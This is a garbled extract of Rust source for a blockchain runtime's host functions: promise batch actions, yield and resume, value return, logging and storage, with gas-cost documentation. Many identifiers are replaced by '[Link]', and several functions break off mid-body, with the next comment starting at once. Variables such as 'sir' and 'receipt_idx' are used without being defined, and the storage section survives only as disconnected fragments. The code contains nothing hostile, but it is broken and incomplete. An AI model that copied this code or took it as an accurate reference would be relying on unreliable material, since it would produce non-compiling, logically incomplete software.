promise index.
/// It also pulls account ID for the given receipt and compares it with the
current account ID
/// to return whether the receipt's account ID is the same.
fn promise_idx_to_receipt_idx_with_sir(
&self,
promise_idx: u64,
) -> Result<(ReceiptIndex, bool)> {
let promise = self
.promises
.get(promise_idx as usize)
.ok_or(HostError::InvalidPromiseIndex { promise_idx })?;
let receipt_idx = match &promise {
Promise::Receipt(receipt_idx) => Ok(*receipt_idx),
Promise::NotReceipt(_) =>
Err(HostError::CannotAppendActionToJointPromise),
}?;
/// Appends `CreateAccount` action to the batch of actions for the given
promise pointed by
/// `promise_idx`.
///
/// # Errors
///
/// * If `promise_idx` does not correspond to an existing promise returns
`InvalidPromiseIndex`.
/// * If the promise pointed by the `promise_idx` is an ephemeral promise
created by
/// `promise_and` returns `CannotAppendActionToJointPromise`.
/// * If called as view function returns `ProhibitedInView`.
///
/// # Cost
///
/// `burnt_gas := base + dispatch action fee`
/// `used_gas := burnt_gas + exec action fee`
pub fn promise_batch_action_create_account(&mut self, promise_idx: u64) ->
Result<()> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView {
method_name: "promise_batch_action_create_account".to_string(),
}
.into());
}
let (receipt_idx, sir) =
self.promise_idx_to_receipt_idx_with_sir(promise_idx)?;
self.pay_action_base(ActionCosts::create_account, sir)?;
[Link].append_action_create_account(receipt_idx)?;
Ok(())
}
/// Appends `DeployContract` action to the batch of actions for the given
promise pointed by
/// `promise_idx`.
///
/// # Errors
///
/// * If `promise_idx` does not correspond to an existing promise returns
`InvalidPromiseIndex`.
/// * If the promise pointed by the `promise_idx` is an ephemeral promise
created by
/// `promise_and` returns `CannotAppendActionToJointPromise`.
/// * If `code_len + code_ptr` points outside the memory of the guest or host
returns
/// `MemoryAccessViolation`.
/// * If called as view function returns `ProhibitedInView`.
/// * If the contract code length exceeds `max_contract_size` returns
`ContractSizeExceeded`.
///
/// # Cost
///
/// `burnt_gas := base + dispatch action base fee + dispatch action per byte
fee * num bytes + cost of reading vector from memory `
/// `used_gas := burnt_gas + exec action base fee + exec action per byte fee *
num bytes`
pub fn promise_batch_action_deploy_contract(
&mut self,
promise_idx: u64,
code_len: u64,
code_ptr: u64,
) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView {
method_name: "promise_batch_action_deploy_contract".to_string(),
}
.into());
}
let code = get_memory_or_register!(self, code_ptr, code_len)?;
let code_len = [Link]() as u64;
let limit = [Link].limit_config.max_contract_size;
if code_len > limit {
return Err(HostError::ContractSizeExceeded { size: code_len,
limit }.into());
}
let code = code.into_owned();
self.pay_action_base(ActionCosts::deploy_contract_base, sir)?;
self.pay_action_per_byte(ActionCosts::deploy_contract_byte, code_len,
sir)?;
[Link].append_action_deploy_contract(receipt_idx, code)?;
Ok(())
}
/// Appends `DeployGlobalContract` action to the batch of actions for the given
promise
/// pointed by `promise_idx`.
///
/// # Errors
///
/// * If `promise_idx` does not correspond to an existing promise returns
`InvalidPromiseIndex`.
/// * If the promise pointed by the `promise_idx` is an ephemeral promise
created by
/// `promise_and` returns `CannotAppendActionToJointPromise`.
/// * If `code_len + code_ptr` points outside the memory of the guest or host
returns
/// `MemoryAccessViolation`.
/// * If called as view function returns `ProhibitedInView`.
/// * If the contract code length exceeds `max_contract_size` returns
`ContractSizeExceeded`.
///
/// # Cost
///
/// `burnt_gas := base + dispatch action base fee + dispatch action per byte
fee * num bytes + cost of reading vector from memory `
/// `used_gas := burnt_gas + exec action base fee + exec action per byte fee *
num bytes`
pub fn promise_batch_action_deploy_global_contract(
&mut self,
promise_idx: u64,
code_len: u64,
code_ptr: u64,
) -> Result<()> {
self.promise_batch_action_deploy_global_contract_impl(
promise_idx,
code_len,
code_ptr,
GlobalContractDeployMode::CodeHash,
"promise_batch_action_deploy_global_contract",
)
}
fn promise_batch_action_deploy_global_contract_impl(
&mut self,
promise_idx: u64,
code_len: u64,
code_ptr: u64,
mode: GlobalContractDeployMode,
method_name: &str,
) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView { method_name:
method_name.to_owned() }.into());
}
let code = get_memory_or_register!(self, code_ptr, code_len)?;
let code_len = [Link]() as u64;
let limit = [Link].limit_config.max_contract_size;
if code_len > limit {
return Err(HostError::ContractSizeExceeded { size: code_len,
limit }.into());
}
let code = code.into_owned();
self.pay_action_base(ActionCosts::deploy_global_contract_base, sir)?;
self.pay_action_per_byte(ActionCosts::deploy_global_contract_byte,
code_len, sir)?;
/// Appends `UseGlobalContract` action to the batch of actions for the given
promise
/// pointed by `promise_idx`.
///
/// # Errors
///
/// * If `promise_idx` does not correspond to an existing promise returns
`InvalidPromiseIndex`.
/// * If the promise pointed by the `promise_idx` is an ephemeral promise
created by
/// `promise_and` returns `CannotAppendActionToJointPromise`.
/// * If called as view function returns `ProhibitedInView`.
/// * If `code_hash_len + code_hash_ptr` points outside the memory of the guest
or host returns
/// `MemoryAccessViolation`.
/// * If a malformed code hash is passed, returns `ContractCodeHashMalformed`.
///
/// # Cost
///
/// `burnt_gas := base + dispatch action base fee + dispatch action per byte
fee * num bytes + cost of reading vector from memory `
/// `used_gas := burnt_gas + exec action base fee + exec action per byte fee *
num bytes`
pub fn promise_batch_action_use_global_contract(
&mut self,
promise_idx: u64,
code_hash_len: u64,
code_hash_ptr: u64,
) -> Result<()> {
self.promise_batch_action_use_global_contract_impl(
promise_idx,
GlobalContractIdentifierPtrData::CodeHash { code_hash_len,
code_hash_ptr },
"promise_batch_action_use_global_contract",
)
}
/// Appends `UseGlobalContract` action to the batch of actions for the given
promise
/// pointed by `promise_idx`.
///
/// # Errors
///
/// * If `promise_idx` does not correspond to an existing promise returns
`InvalidPromiseIndex`.
/// * If the promise pointed by the `promise_idx` is an ephemeral promise
created by
/// `promise_and` returns `CannotAppendActionToJointPromise`.
/// * If called as view function returns `ProhibitedInView`.
/// * If `account_id_len + account_id_ptr` points outside the memory of the
guest or host returns
/// `MemoryAccessViolation`.
/// * If account_id string is not UTF-8 returns `BadUtf8`.
///
/// # Cost
///
/// `burnt_gas := base + dispatch action base fee + dispatch action per byte
fee * num bytes
/// + cost of reading vector from memory + cost of reading and parsing account
name`
/// `used_gas := burnt_gas + exec action base fee + exec action per byte fee *
num bytes`
pub fn promise_batch_action_use_global_contract_by_account_id(
&mut self,
promise_idx: u64,
account_id_len: u64,
account_id_ptr: u64,
) -> Result<()> {
self.promise_batch_action_use_global_contract_impl(
promise_idx,
GlobalContractIdentifierPtrData::AccountId { account_id_len,
account_id_ptr },
"promise_batch_action_use_global_contract_by_account_id",
)
}
fn promise_batch_action_use_global_contract_impl(
&mut self,
promise_idx: u64,
contract_id_ptr: GlobalContractIdentifierPtrData,
method_name: &str,
) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView { method_name:
method_name.to_owned() }.into());
}
let contract_id = match contract_id_ptr {
GlobalContractIdentifierPtrData::CodeHash { code_hash_len,
code_hash_ptr } => {
let code_hash_bytes = get_memory_or_register!(self, code_hash_ptr,
code_hash_len)?;
let code_hash: [_; CryptoHash::LENGTH] = (&*code_hash_bytes)
.try_into()
.map_err(|_| HostError::ContractCodeHashMalformed)?;
GlobalContractIdentifier::CodeHash(CryptoHash(code_hash))
}
GlobalContractIdentifierPtrData::AccountId { account_id_len,
account_id_ptr } => {
let account_id = self.read_and_parse_account_id(account_id_ptr,
account_id_len)?;
GlobalContractIdentifier::AccountId(account_id)
}
};
self.pay_action_base(ActionCosts::use_global_contract_base, sir)?;
let len = contract_id.len() as u64;
self.pay_action_per_byte(ActionCosts::use_global_contract_byte, len, sir)?;
[Link].append_action_use_global_contract(receipt_idx, contract_id)?;
Ok(())
}
/// Appends `FunctionCall` action to the batch of actions for the given promise
pointed by
/// `promise_idx`.
///
/// # Errors
///
/// * If `promise_idx` does not correspond to an existing promise returns
`InvalidPromiseIndex`.
/// * If the promise pointed by the `promise_idx` is an ephemeral promise
created by
/// `promise_and` returns `CannotAppendActionToJointPromise`.
/// * If `method_name_len + method_name_ptr` or `arguments_len + arguments_ptr`
or
/// `amount_ptr + 16` points outside the memory of the guest or host returns
/// `MemoryAccessViolation`.
/// * If called as view function returns `ProhibitedInView`.
///
/// # Cost
///
/// `burnt_gas := base + dispatch action base fee + dispatch action per byte
fee * num bytes + cost of reading vector from memory
/// + cost of reading u128, method_name and arguments from the memory`
/// `used_gas := burnt_gas + exec action base fee + exec action per byte fee *
num bytes`
pub fn promise_batch_action_function_call(
&mut self,
promise_idx: u64,
method_name_len: u64,
method_name_ptr: u64,
arguments_len: u64,
arguments_ptr: u64,
amount_ptr: u64,
gas: Gas,
) -> Result<()> {
self.promise_batch_action_function_call_weight(
promise_idx,
method_name_len,
method_name_ptr,
arguments_len,
arguments_ptr,
amount_ptr,
gas,
0,
)
}
/// Appends `FunctionCall` action to the batch of actions for the given promise
pointed by
/// `promise_idx`. This function allows not specifying a specific gas value and
allowing the
/// runtime to assign remaining gas based on a weight.
///
/// # Gas
///
/// Gas can be specified using a static amount, a weight of remaining prepaid
gas, or a mixture
/// of both. To omit a static gas amount, `0` can be passed for the `gas`
parameter.
/// To omit assigning remaining gas, `0` can be passed as the `gas_weight`
parameter.
///
/// The gas weight parameter works as the following:
///
/// All unused prepaid gas from the current function call is split among all
function calls
/// which supply this gas weight. The amount attached to each respective call
depends on the
/// value of the weight.
///
/// For example, if 40 gas is leftover from the current method call and three
functions specify
/// the weights 1, 5, 2 then 5, 25, 10 gas will be added to each function call
respectively,
/// using up all remaining available gas.
///
/// If the `gas_weight` parameter is set as a large value, the amount of
distributed gas
/// to each action can be 0 or a very low value because the amount of gas per
weight is
/// based on the floor division of the amount of gas by the sum of weights.
///
/// Any remaining gas will be distributed to the last scheduled function call
with a weight
/// specified.
///
/// # Errors
///
/// * If `promise_idx` does not correspond to an existing promise returns
`InvalidPromiseIndex`.
/// * If the promise pointed by the `promise_idx` is an ephemeral promise
created by
/// `promise_and` returns `CannotAppendActionToJointPromise`.
/// * If `method_name_len + method_name_ptr` or `arguments_len + arguments_ptr`
or
/// `amount_ptr + 16` points outside the memory of the guest or host returns
/// `MemoryAccessViolation`.
/// * If called as view function returns `ProhibitedInView`.
pub fn promise_batch_action_function_call_weight(
&mut self,
promise_idx: u64,
method_name_len: u64,
method_name_ptr: u64,
arguments_len: u64,
arguments_ptr: u64,
amount_ptr: u64,
gas: Gas,
gas_weight: u64,
) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView {
method_name: "promise_batch_action_function_call".to_string(),
}
.into());
}
let amount = [Link].get_u128(&mut self.result_state.gas_counter,
amount_ptr)?;
let method_name = get_memory_or_register!(self, method_name_ptr,
method_name_len)?;
if method_name.is_empty() {
return Err(HostError::[Link]());
}
let arguments = get_memory_or_register!(self, arguments_ptr,
arguments_len)?;
/// Appends `Transfer` action to the batch of actions for the given promise
pointed by
/// `promise_idx`.
///
/// # Errors
///
/// * If `promise_idx` does not correspond to an existing promise returns
`InvalidPromiseIndex`.
/// * If the promise pointed by the `promise_idx` is an ephemeral promise
created by
/// `promise_and` returns `CannotAppendActionToJointPromise`.
/// * If `amount_ptr + 16` points outside the memory of the guest or host
returns
/// `MemoryAccessViolation`.
/// * If called as view function returns `ProhibitedInView`.
///
/// # Cost
///
/// `burnt_gas := base + dispatch action base fee + dispatch action per byte
fee * num bytes + cost of reading u128 from memory `
/// `used_gas := burnt_gas + exec action base fee + exec action per byte fee *
num bytes`
pub fn promise_batch_action_transfer(
&mut self,
promise_idx: u64,
amount_ptr: u64,
) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView {
method_name: "promise_batch_action_transfer".to_string(),
}
.into());
}
let amount = [Link].get_u128(&mut self.result_state.gas_counter,
amount_ptr)?;
/// Appends `Stake` action to the batch of actions for the given promise
pointed by
/// `promise_idx`.
///
/// # Errors
///
/// * If `promise_idx` does not correspond to an existing promise returns
`InvalidPromiseIndex`.
/// * If the promise pointed by the `promise_idx` is an ephemeral promise
created by
/// `promise_and` returns `CannotAppendActionToJointPromise`.
/// * If the given public key is not a valid (e.g. wrong length) returns
`InvalidPublicKey`.
/// * If `amount_ptr + 16` or `public_key_len + public_key_ptr` points outside
the memory of the
/// guest or host returns `MemoryAccessViolation`.
/// * If called as view function returns `ProhibitedInView`.
///
/// # Cost
///
/// `burnt_gas := base + dispatch action base fee + dispatch action per byte
fee * num bytes + cost of reading public key from memory `
/// `used_gas := burnt_gas + exec action base fee + exec action per byte fee *
num bytes`
pub fn promise_batch_action_stake(
&mut self,
promise_idx: u64,
amount_ptr: u64,
public_key_len: u64,
public_key_ptr: u64,
) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView {
method_name: "promise_batch_action_stake".to_string(),
}
.into());
}
let amount = [Link].get_u128(&mut self.result_state.gas_counter,
amount_ptr)?;
let public_key = self.get_public_key(public_key_ptr, public_key_len)?;
let (receipt_idx, sir) =
self.promise_idx_to_receipt_idx_with_sir(promise_idx)?;
self.pay_action_base(ActionCosts::stake, sir)?;
[Link].append_action_stake(receipt_idx, amount, public_key.decode()?);
Ok(())
}
/// Appends `AddKey` action to the batch of actions for the given promise
pointed by
/// `promise_idx`. The access key will have `FullAccess` permission.
///
/// # Errors
///
/// * If `promise_idx` does not correspond to an existing promise returns
`InvalidPromiseIndex`.
/// * If the promise pointed by the `promise_idx` is an ephemeral promise
created by
/// `promise_and` returns `CannotAppendActionToJointPromise`.
/// * If the given public key is not a valid (e.g. wrong length) returns
`InvalidPublicKey`.
/// * If `public_key_len + public_key_ptr` points outside the memory of the
guest or host
/// returns `MemoryAccessViolation`.
/// * If called as view function returns `ProhibitedInView`.
///
/// # Cost
///
/// `burnt_gas := base + dispatch action base fee + dispatch action per byte
fee * num bytes + cost of reading public key from memory `
/// `used_gas := burnt_gas + exec action base fee + exec action per byte fee *
num bytes`
pub fn promise_batch_action_add_key_with_full_access(
&mut self,
promise_idx: u64,
public_key_len: u64,
public_key_ptr: u64,
nonce: u64,
) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView {
method_name:
"promise_batch_action_add_key_with_full_access".to_string(),
}
.into());
}
let public_key = self.get_public_key(public_key_ptr, public_key_len)?;
let (receipt_idx, sir) =
self.promise_idx_to_receipt_idx_with_sir(promise_idx)?;
self.pay_action_base(ActionCosts::add_full_access_key, sir)?;
[Link].append_action_add_key_with_full_access(receipt_idx,
public_key.decode()?, nonce);
Ok(())
}
/// Appends `AddKey` action to the batch of actions for the given promise
pointed by
/// `promise_idx`. The access key will have `FunctionCall` permission.
///
/// # Errors
///
/// * If `promise_idx` does not correspond to an existing promise returns
`InvalidPromiseIndex`.
/// * If the promise pointed by the `promise_idx` is an ephemeral promise
created by
/// `promise_and` returns `CannotAppendActionToJointPromise`.
/// * If the given public key is not a valid (e.g. wrong length) returns
`InvalidPublicKey`.
/// * If `public_key_len + public_key_ptr`, `allowance_ptr + 16`,
/// `receiver_id_len + receiver_id_ptr` or `method_names_len +
method_names_ptr` points outside
/// the memory of the guest or host returns `MemoryAccessViolation`.
/// * If called as view function returns `ProhibitedInView`.
///
/// # Cost
///
/// `burnt_gas := base + dispatch action base fee + dispatch action per byte
fee * num bytes + cost of reading vector from memory
/// + cost of reading u128, method_names and public key from the memory + cost
of reading and parsing account name`
/// `used_gas := burnt_gas + exec action base fee + exec action per byte fee *
num bytes`
pub fn promise_batch_action_add_key_with_function_call(
&mut self,
promise_idx: u64,
public_key_len: u64,
public_key_ptr: u64,
nonce: u64,
allowance_ptr: u64,
receiver_id_len: u64,
receiver_id_ptr: u64,
method_names_len: u64,
method_names_ptr: u64,
) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView {
method_name:
"promise_batch_action_add_key_with_function_call".to_string(),
}
.into());
}
let public_key = self.get_public_key(public_key_ptr, public_key_len)?;
let allowance = [Link].get_u128(&mut self.result_state.gas_counter,
allowance_ptr)?;
let allowance = if allowance > 0 { Some(allowance) } else { None };
let receiver_id = self.read_and_parse_account_id(receiver_id_ptr,
receiver_id_len)?;
let raw_method_names = get_memory_or_register!(self, method_names_ptr,
method_names_len)?;
let method_names = split_method_names(&raw_method_names)?;
[Link].append_action_add_key_with_function_call(
receipt_idx,
public_key.decode()?,
nonce,
allowance,
receiver_id,
method_names,
)?;
Ok(())
}
/// Appends `DeleteKey` action to the batch of actions for the given promise
pointed by
/// `promise_idx`.
///
/// # Errors
///
/// * If `promise_idx` does not correspond to an existing promise returns
`InvalidPromiseIndex`.
/// * If the promise pointed by the `promise_idx` is an ephemeral promise
created by
/// `promise_and` returns `CannotAppendActionToJointPromise`.
/// * If the given public key is not a valid (e.g. wrong length) returns
`InvalidPublicKey`.
/// * If `public_key_len + public_key_ptr` points outside the memory of the
guest or host
/// returns `MemoryAccessViolation`.
/// * If called as view function returns `ProhibitedInView`.
///
/// # Cost
///
/// `burnt_gas := base + dispatch action base fee + dispatch action per byte
fee * num bytes + cost of reading public key from memory `
/// `used_gas := burnt_gas + exec action base fee + exec action per byte fee *
num bytes`
pub fn promise_batch_action_delete_key(
&mut self,
promise_idx: u64,
public_key_len: u64,
public_key_ptr: u64,
) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView {
method_name: "promise_batch_action_delete_key".to_string(),
}
.into());
}
let public_key = self.get_public_key(public_key_ptr, public_key_len)?;
let (receipt_idx, sir) =
self.promise_idx_to_receipt_idx_with_sir(promise_idx)?;
self.pay_action_base(ActionCosts::delete_key, sir)?;
[Link].append_action_delete_key(receipt_idx, public_key.decode()?);
Ok(())
}
/// Appends `DeleteAccount` action to the batch of actions for the given
promise pointed by
/// `promise_idx`.
///
/// # Errors
///
/// * If `promise_idx` does not correspond to an existing promise returns
`InvalidPromiseIndex`.
/// * If the promise pointed by the `promise_idx` is an ephemeral promise
created by
/// `promise_and` returns `CannotAppendActionToJointPromise`.
/// * If `beneficiary_id_len + beneficiary_id_ptr` points outside the memory of
the guest or
/// host returns `MemoryAccessViolation`.
/// * If called as view function returns `ProhibitedInView`.
///
/// # Cost
///
/// `burnt_gas := base + dispatch action base fee + dispatch action per byte
fee * num bytes + cost of reading and parsing account id from memory `
/// `used_gas := burnt_gas + exec action base fee + exec action per byte fee *
num bytes + fees for transferring funds to the beneficiary`
pub fn promise_batch_action_delete_account(
&mut self,
promise_idx: u64,
beneficiary_id_len: u64,
beneficiary_id_ptr: u64,
) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView {
method_name: "promise_batch_action_delete_account".to_string(),
}
.into());
}
let beneficiary_id =
self.read_and_parse_account_id(beneficiary_id_ptr,
beneficiary_id_len)?;
[Link].append_action_delete_account(receipt_idx, beneficiary_id)?;
Ok(())
}
/// Creates a promise that will execute a method on the current account with
given arguments
/// and gas. The created promise will have a special input data dependency.
///
/// A resumption token is written by this function into the register denoted by
`register_id`.
/// To satisfy the data dependency, call `promise_yield_resume` with the
resumption token
/// and a payload. The provided method will then be executed with input
/// `PromiseResult::Successful(payload)`.
///
/// The resumption token is portable across transactions, but only the current
account
/// is allowed to resolve this data dependency.
///
/// If `promise_yield_resume` has not been called after a certain protocol-
defined number of
/// of blocks (as defined by the `yield_timeout_length_in_blocks` parameter)
the created
/// promise will instead be executed with input `PromiseResult::Failed`.
///
/// # Errors
///
/// * If `method_name_len + method_name_ptr` or `arguments_len + arguments_ptr`
point outside
/// the memory of the guest or host returns `MemoryAccessViolation`;
/// * If called as view function returns `ProhibitedInView`;
/// * Gas is insufficient;
/// * Too many promises have been created already;
/// * Resumption token cannot be written to the register `register_id`.
///
/// # Returns
///
/// Index of the new promise that uniquely identifies it within the current
execution of the
/// method.
///
/// # Cost
///
/// The following fees are charged:
///
/// * `base` fee;
/// * `yield_create_base` fee;
/// * `yield_create_byte` for each byte of `method_name` and `arguments`;
/// * Fees for reading the `method_name` and `arguments`;
/// * Fees for writing the Data ID to the output register;
/// * Fees for setting up the receipt and the eventual function call of the
method.
pub fn promise_yield_create(
&mut self,
method_name_len: u64,
method_name_ptr: u64,
arguments_len: u64,
arguments_ptr: u64,
gas: Gas,
gas_weight: u64,
register_id: u64,
) -> Result<u64> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView {
method_name: "promise_yield_create".to_string(),
}
.into());
}
self.result_state.gas_counter.pay_base(yield_create_base)?;
// Here we are creating a receipt with a single data dependency which will
then be
// resolved by the resume call.
self.pay_gas_for_new_receipt(true, &[true])?;
let (new_receipt_idx, data_id) =
[Link].create_promise_yield_receipt([Link].current_account_id.clone())?;
let new_promise_idx =
self.checked_push_promise(Promise::Receipt(new_receipt_idx))?;
self.pay_action_base(ActionCosts::function_call_base, true)?;
self.pay_action_per_byte(ActionCosts::function_call_byte, num_bytes,
true)?;
[Link].append_action_function_call_weight(
new_receipt_idx,
method_name,
arguments,
0,
gas,
GasWeight(gas_weight),
)?;
[Link](
&mut self.result_state.gas_counter,
&[Link].limit_config,
register_id,
*data_id.as_bytes(),
)?;
Ok(new_promise_idx)
}
/// Submits the data for a yield promise which is awaiting its value.
///
/// The `data_id` pair of parameters must refer to a resumption token generated
by a call to
/// the [`promise_yield_create`] made by the same account.
///
/// Returns `1` if submitting the payload for the data dependency was
successful. This
/// guarantees that the yield callback function will be executed with a
payload. Otherwise a
/// `0` is returned.
///
/// # Errors
///
/// * If `data_id_ptr + data_id_ptr` points outside the memory of the guest or
host
/// returns `MemoryAccessViolation`;
/// * If a malformed data id is passed, returns `DataIdMalformed`;
/// * If `payload_len` exceeds the maximum permitted returns
`YieldPayloadLength`;
/// * If called as view function returns `ProhibitedInView`;
/// * Runs out of gas.
///
/// # Cost
///
/// The following fees are charged:
///
/// * `base` fee;
/// * `yield_resume_base` fee;
/// * `yield_resume_byte` for each byte of `payload`;
/// * Fees for reading the `data_id` and `payload`.
pub fn promise_yield_resume(
&mut self,
data_id_len: u64,
data_id_ptr: u64,
payload_len: u64,
payload_ptr: u64,
) -> Result<u32, VMLogicError> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView {
method_name: "promise_submit_data".to_string(),
}
.into());
}
self.result_state.gas_counter.pay_base(yield_resume_base)?;
self.result_state.gas_counter.pay_per(yield_resume_byte, payload_len)?;
let data_id = get_memory_or_register!(self, data_id_ptr, data_id_len)?;
let payload = get_memory_or_register!(self, payload_ptr, payload_len)?;
let payload_len = [Link]() as u64;
if payload_len > [Link].limit_config.max_yield_payload_size {
return Err(HostError::YieldPayloadLength {
length: payload_len,
limit: [Link].limit_config.max_yield_payload_size,
}
.into());
}
// #####################
// # Miscellaneous API #
// #####################
/// Sets the blob of data as the return value of the contract.
///
/// # Errors
///
/// * If `value_len + value_ptr` exceeds the memory container or points to an
unused register it
/// returns `MemoryAccessViolation`.
/// * if the length of the returned data exceeds `max_length_returned_data`
returns
/// `ReturnedValueLengthExceeded`.
///
/// # Cost
/// `base + cost of reading return value from memory or register +
dispatch&exec cost per byte of the data sent * num data receivers`
pub fn value_return(&mut self, value_len: u64, value_ptr: u64) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
let return_val = get_memory_or_register!(self, value_ptr, value_len)?;
let mut burn_gas: Gas = 0;
let num_bytes = return_val.len() as u64;
if num_bytes > [Link].limit_config.max_length_returned_data {
return Err(HostError::ReturnedValueLengthExceeded {
length: num_bytes,
limit: [Link].limit_config.max_length_returned_data,
}
.into());
}
for data_receiver in &[Link].output_data_receivers {
let sir = data_receiver == &[Link].current_account_id;
// We deduct for execution here too, because if we later have an OR
combinator
// for promises then we might have some valid data receipts that arrive
too late
// to be picked up by the execution that waits on them (because it has
started
// after it receives the first data receipt) and then we need to issue
a special
// refund in this situation. Which we avoid by just paying for
execution of
// data receipt that might not be performed.
// The gas here is considered burnt, cause we'll prepay for it upfront.
burn_gas = burn_gas
.checked_add(
self.fees_config
.fee(ActionCosts::new_data_receipt_byte)
.send_fee(sir)
.checked_add(
self.fees_config.fee(ActionCosts::new_data_receipt_byte).exec_fee(),
)
.ok_or(HostError::IntegerOverflow)?
.checked_mul(num_bytes)
.ok_or(HostError::IntegerOverflow)?,
)
.ok_or(HostError::IntegerOverflow)?;
}
self.result_state.gas_counter.pay_action_accumulated(
burn_gas,
burn_gas,
ActionCosts::new_data_receipt_byte,
)?;
self.result_state.return_data = ReturnData::Value(return_val.into_owned());
Ok(())
}
/// Terminates the execution of the program with panic `GuestPanic`.
///
/// # Cost
///
/// `base`
pub fn panic(&mut self) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
Err(HostError::GuestPanic { panic_msg: "explicit guest
panic".to_string() }.into())
}
/// Logs the UTF-16 encoded string. If `len == u64::MAX` then treats the string
as
/// null-terminated with two-byte sequence of `0x00 0x00`.
///
/// # Errors
///
/// * If string extends outside the memory of the guest with
`MemoryAccessViolation`;
/// * If string is not UTF-16 returns `BadUtf16`.
/// * If number of bytes read + `total_log_length` exceeds the
`max_total_log_length` returns
/// `TotalLogLengthExceeded`.
/// * If the total number of logs will exceed the `max_number_logs` returns
/// `NumberOfLogsExceeded`.
///
/// # Cost
///
/// `base + log_base + log_byte * num_bytes + utf16 decoding cost`
pub fn log_utf16(&mut self, len: u64, ptr: u64) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
self.result_state.check_can_add_a_log_message()?;
let message = self.get_utf16_string(len, ptr)?;
self.result_state.gas_counter.pay_base(log_base)?;
// Let's not use `encode_utf16` for gas per byte here, since it's a lot of
compute.
self.result_state.gas_counter.pay_per(log_byte, [Link]() as u64)?;
self.result_state.checked_push_log(message)
}
/// Special import kept for compatibility with AssemblyScript contracts. Not
called by smart
/// contracts directly, but instead called by the code generated by
AssemblyScript.
///
/// # Errors
///
/// * If string extends outside the memory of the guest with
`MemoryAccessViolation`;
/// * If string is not UTF-8 returns `BadUtf8`.
/// * If number of bytes read + `total_log_length` exceeds the
`max_total_log_length` returns
/// `TotalLogLengthExceeded`.
/// * If the total number of logs will exceed the `max_number_logs` returns
/// `NumberOfLogsExceeded`.
///
/// # Cost
///
/// `base + log_base + log_byte * num_bytes + utf16 decoding cost`
pub fn abort(&mut self, msg_ptr: u32, filename_ptr: u32, line: u32, col: u32) -
> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
if msg_ptr < 4 || filename_ptr < 4 {
return Err(HostError::[Link]());
}
self.result_state.check_can_add_a_log_message()?;
// ###############
// # Storage API #
// ###############
self.recorded_storage_counter.observe_size([Link].get_recorded_storage_size())?;
match evicted {
Some(old_value) => {
// Inner value can't overflow, because the value length is limited.
self.result_state.current_storage_usage = self
.result_state
.current_storage_usage
.checked_sub(old_value.len() as u64)
.ok_or(InconsistentStateError::IntegerOverflow)?;
// Inner value can't overflow, because the value length is limited.
self.result_state.current_storage_usage = self
.result_state
.current_storage_usage
.checked_add([Link]() as u64)
.ok_or(InconsistentStateError::IntegerOverflow)?;
[Link](
&mut self.result_state.gas_counter,
&[Link].limit_config,
register_id,
old_value,
)?;
Ok(1)
}
None => {
// Inner value can't overflow, because the key/value length is
limited.
self.result_state.current_storage_usage = self
.result_state
.current_storage_usage
.checked_add(
[Link]() as u64
+ [Link]() as u64
+ storage_config.num_extra_bytes_record,
)
.ok_or(InconsistentStateError::IntegerOverflow)?;
Ok(0)
}
}
}
self.result_state.gas_counter.pay_base(storage_large_read_overhead_base)?;
self.result_state
.gas_counter
.pay_per(storage_large_read_overhead_byte, read_len as
u64)?;
}
Some([Link](&mut FreeGasCounter)?)
}
None => None,
};
self.recorded_storage_counter.observe_size([Link].get_recorded_storage_size())?;
match read {
Some(value) => {
[Link](
&mut self.result_state.gas_counter,
&[Link].limit_config,
register_id,
value,
)?;
Ok(1)
}
None => Ok(0),
}
}
self.recorded_storage_counter.observe_size([Link].get_recorded_storage_size())?;
match removed {
Some(value) => {
// Inner value can't overflow, because the key/value length is
limited.
self.result_state.current_storage_usage = self
.result_state
.current_storage_usage
.checked_sub(
[Link]() as u64
+ [Link]() as u64
+ storage_config.num_extra_bytes_record,
)
.ok_or(InconsistentStateError::IntegerOverflow)?;
[Link](
&mut self.result_state.gas_counter,
&[Link].limit_config,
register_id,
value,
)?;
Ok(1)
}
None => Ok(0),
}
}
self.recorded_storage_counter.observe_size([Link].get_recorded_storage_size())?;
Ok(res? as u64)
}
/// Debug print given utf-8 string to node log. It's only available in Sandbox
node
///
/// # Errors
///
/// * If string is not UTF-8 returns `BadUtf8`
/// * If the log is over available memory in wasm runner, returns
`MemoryAccessViolation`
///
/// # Cost
///
/// 0
#[cfg(feature = "sandbox")]
pub fn sandbox_debug_log(&mut self, len: u64, ptr: u64) -> Result<()> {
let message = self.sandbox_get_utf8_string(len, ptr)?;
tracing::debug!(target: "sandbox", message = &message[..]);
Ok(())
}
/// DEPRECATED
/// Creates an iterator object inside the host. Returns the identifier that
uniquely
/// differentiates the given iterator from other iterators that can be
simultaneously created.
/// * It iterates over the keys that have the provided prefix. The order of
iteration is defined
/// by the lexicographic order of the bytes in the keys;
/// * If there are no keys, it creates an empty iterator, see below on empty
iterators.
///
/// # Errors
///
/// * If `prefix_len + prefix_ptr` exceeds the memory container it returns
/// `MemoryAccessViolation`.
/// * If the length of the prefix exceeds `max_length_storage_key` returns
`KeyLengthExceeded`.
///
